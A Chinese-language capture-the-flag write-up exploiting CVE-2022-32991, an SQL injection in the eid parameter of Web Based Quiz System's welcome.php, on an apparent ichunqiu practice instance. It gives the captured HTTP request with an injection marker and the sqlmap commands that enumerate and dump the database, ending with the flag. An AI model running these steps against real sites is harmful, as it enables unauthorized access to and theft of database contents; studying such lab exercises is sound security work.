文章目录
CVE-2022-32991
一、漏洞介绍
该CMS的welcome.php中存在SQL注入攻击。
Web Based Quiz System是一个应用软件。用于一个简单的在线基础的项目。
Web Based Quiz System v1.0版本存在SQL注入漏洞,该漏洞源于welcome.php中的eid参数缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令窃取数据库敏感数据。
二、渗透步骤
1、打开网站
http://eci-2zeh5yvsx4kzl4vnicdo.cloudeci1.ichunqiu.com/
2、打开注册页面
http://eci-2zeh5yvsx4kzl4vnicdo.cloudeci1.ichunqiu.com/register.php
3、填写注册信息
用户名:kali
邮箱:123@qq.com
密码:123456
学院名称:kali
4、打开登录界面
http://eci-2zeh5yvsx4kzl4vnicdo.cloudeci1.ichunqiu.com/login.php
5、登录账号
6、查看内容
7、点击任意一个
8、截取数据包
GET /welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34 HTTP/1.1
Host: eci-2zeh5yvsx4kzl4vnicdo.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681027454; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681028235; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=cc4b2bacb487f8c27cfd634e28143a1682b7c2c3; PHPSESSID=mo7cdaa5a4csrgtgfb1018tsr8
Upgrade-Insecure-Requests: 1
9、更改eid参数并保存至文档
GET /welcome.php?q=quiz&step=2&eid=*&n=1&t=34 HTTP/1.1
Host: eci-2zeh5yvsx4kzl4vnicdo.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681027454; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681028235; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=cc4b2bacb487f8c27cfd634e28143a1682b7c2c3; PHPSESSID=mo7cdaa5a4csrgtgfb1018tsr8
Upgrade-Insecure-Requests: 1
10、探测数据库
┌──(kali㉿kali)-[~]
└─$ sqlmap -r 1.txt --dbs --batch
数据库名:ctf
11、探测数据表
┌──(kali㉿kali)-[~]
└─$ sqlmap -r 1.txt -D ctf --tables --batch
数据表名:flag
12、探测列名
┌──(kali㉿kali)-[~]
└─$ sqlmap -r 1.txt -D ctf -T flag --columns --batch
列名:flag
13、查看flag值
┌──(kali㉿kali)-[~]
└─$ sqlmap -r 1.txt -D ctf -T flag -C flag --dump --batch
flag值:flag{448ae86b-de9e-4779-a12c-f71128c76feb}